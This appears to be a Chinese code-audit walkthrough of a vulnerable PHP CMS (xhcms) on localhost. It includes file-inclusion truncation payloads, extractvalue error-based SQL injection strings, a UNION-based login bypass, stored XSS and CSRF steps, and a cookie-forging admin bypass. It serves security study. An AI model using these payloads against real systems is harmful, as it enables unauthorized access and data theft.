一、文件包含
Ex. 1
文件包含函数中存在变量,可能存在文件包含漏洞 /index.php include('files/'.$action.'.php'); //载入相应文件
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
这里直接将GET接收到的r参数,使用addslashes()转义,然后赋值给$action,但没有对$action进行充分的验证。因为GET传进来的r参数是可控的,攻击者可以通过修改URL中的'r'参数来包含任意文件,导致文件包含漏洞。
后面拼接了.php,所以要想办法将他去掉。这里可以使用00截断、.号溢出、?方式进行截断,不过都有php版本限制。
在项目根目录下放一个文件1.txt,内容为<?php phpinfo();?>
.号溢出 Windows的文件名字最后面加.是不影响文件的,Windows文件名的最大长度是260个字节,后面超出部分被丢弃。 需要满足条件:php版本=5.2.17、Virtual Directory Support=enable payload: ?r=../1.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
00截断的原理:在PHP版本低于5.3.4时,如果文件名或URL参数中包含空字符(ASCII码为0的字符,即chr(0)),这个空字符会导致其后面的所有字符被忽略或丢弃。这通常用于绕过文件名扩展名的检查,使得攻击者能够上传或执行非法文件。 00截断利用条件 //此处由于addslashes()函数导致不可用 1、magic_quotes_gpc =off 2、php版本小于5.3.4 payload: ?r=../1.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
也可以使用…/来实现路径穿越,但后缀只能是.php
本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含创建的phpinfo.php文件
http://127.0.0.1/xhcms/?r=../phpinfo
Ex. 2
文件包含函数中存在变量,可能存在文件包含漏洞 /admin/index.php include('files/'.$action.'.php'); //载入相应文件
原理同上
http://127.0.0.1/xhcms/admin/?r=../../phpinfo
二、SQL注入
Ex. 1
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/adset.php $query = "UPDATE adword SET ad1='$ad1',
$save=$_POST['save']; $ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3', date=now()";
此处对于POST方式输入的参数使用了addslashes函数进行了过滤,所以这里的注入是一个误报
`addslashes`函数在PHP中用于在字符串中的特定字符前添加反斜杠(\),这些特定字符通常包括单引号(')、双引号(")、反斜杠(\)以及NULL字符,从而改变了它们在SQL语句中的原有意义,使得它们不再被视为SQL代码的一部分,而是被当作普通的文本字符处理,即“转义”。
Ex. 2
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editcolumn.php $query = "UPDATE navclass SET name='$name',
$name=$_POST['name']; ... $query = "UPDATE nav SET name='$name',..."
POST
方法接收name参数,但是没有进行过滤
访问路径http://127.0.0.1/xhcms/admin/?r=editcolumn&type=1&id=1
名称输入框内输入单引号提交后报错,说明存在sql注入
抓包,替换name
参数如下
1' and (extractvalue(1,concat(0x7e,(select USER()),0x7e))) and'
前提:取决于数据库的错误处理配置,即是否允许在错误消息中返回查询的一部分结果,现在这种配置多被禁用 extractvalue():这是MySQL中用于从XML文档中提取值的函数。 语法:EXTRACTVALUE(xml_frag, xpath_expr),其中xml_frag是包含XML数据的字符串,xpath_expr是用于从该数据中提取数据的XPath表达式。 显然,1作为xml_frag的输入是不合法的,因为1不是一个有效的XML文档。这正是SQL注入者试图利用的地方,因为非法的xml_frag值会导致数据库返回一个错误。
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞/admin/files/editcolumn.php$query = "UPDATE nav SET name='$name',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editlink.php $query = "UPDATE link SET name='$name',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editwz.php $query = "UPDATE content SET navclass='$navclass',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/imageset.php $query = "UPDATE imageset SET img_kg='$img_kg',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/manageinfo.php $query = "UPDATE manage SET user='$user',
SQL语句insert中插入变量无单引号保护,可能存在SQL注入漏洞 /admin/files/newlink.php $query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/reply.php $query = "UPDATE interaction SET xs='$xs',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/seniorset.php $query = "UPDATE seniorset SET lysh='$lysh',
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/siteset.php $query = "UPDATE settings SET name='$name',
这些都是/admin目录下的,即后台系统的,需要登录才有权限访问
基本类似,不再赘述
Ex. 3
注意路径中没有/admin,是前台的
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/content.php $query = "UPDATE content SET hit = hit+1 WHERE id=$id";
$id=addslashes($_GET['cid']); $query = "SELECT * FROM content WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $content = mysql_fetch_array($resul); ... $query = "UPDATE content SET hit = hit+1 WHERE id=$id";
代码分析:
-
get型接收一个cid参数,使用addslashes进行转义;
-
id拼接到查询语句中,使用mysql_query()执行语句,当语句执行失败,则抛出die()中的内容以及错误。
既然输出报错信息了,还存在注入,那这里肯定要尝试报错注入了。
http://127.0.0.1/xhcms/?r=software&cid=1
加一个单引号后会报错
构造payload:1 and (extractvalue(1,concat(0x7e,(select USER()),0x7e)))
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/downloads.php $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/software.php $query = "UPDATE download SET hit = hit+1 WHERE id=$id";
基本类似,不再赘述
三、XSS
EX. 1 反射型
/files/contact.php
文件下,有一个page
变量,在html中直接输出,没有进行过滤
EX. 2 存储型
/admin/files/adset.php
$ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3',
UPDATE
将前端的数据写入到adword
表中,这个地方在写入的时候没有进行过滤,如果在前端页面调用我们写入的值,就有可能存在XSS
全局搜索adword
,点击打开files/content.php
直接将查询结果输出到页面,存在存储型XSS
登录进后台----设置----广告设置,三个广告都可以
路径http://127.0.0.1/xhcms/?r=content&cid=5
访问到/files/content.php
即可触发/files/software.php
和/template/sidebar.php
同理
四、任意用户登录
/admin/files/login.php
直接拼接了user
变量,并且user
变量也没有进行过滤,存在sql注入漏洞
解释:上述代码中user和password参数是分开验证的,首先通过user查询数据库以获取用户记录,然后再在服务器端将存储的d密码哈希与输入的password密码(经过MD5哈希后)进行比较。user参数不存在过滤,所以user处是存在注入的;而password处则是对目前登录用户的密码的md5值进行验证。
登陆页面分别输入:
-
账号:-1' union select 1,2,'test','0192023a7bbd73250516f069df18b500',5,6,7,8;#
-
密码:admin123
此处md5(admin123)=0192023a7bbd73250516f069df18b500
五、CSRF
CSRF重点关注诸如删除、修改、增加
之类的危险功能,通过判断其是否存在适当的token
或其他校验机制来评估CSRF防护的到位程度
内容管理—>文章管理,点击删除文章并抓包
使用burpsuite自带的CSRF PoC generator生成
在本地创建CSRF.html,运行访问
看到页面出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章
六、未授权及越权
/inc/chexclogin.php
<?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
检测是否是登录的状态,仅仅是通过验证cookie中的user参数是否存在,不存在就直接跳转登录页面
正常登录admin
用户他的cookie如下:
Cookie: Hm_lvt_82526ffa6fe7df3f398d10ed7f985ccb=1722501603; user=admin
可以看到user=admin
,根据checklongin.php的验证逻辑,只要每次访问后台带上user=admin
即可越权成为管理员
所以在cookie处添加user参数携带admin等非空值即可绕过登陆界面访问控制台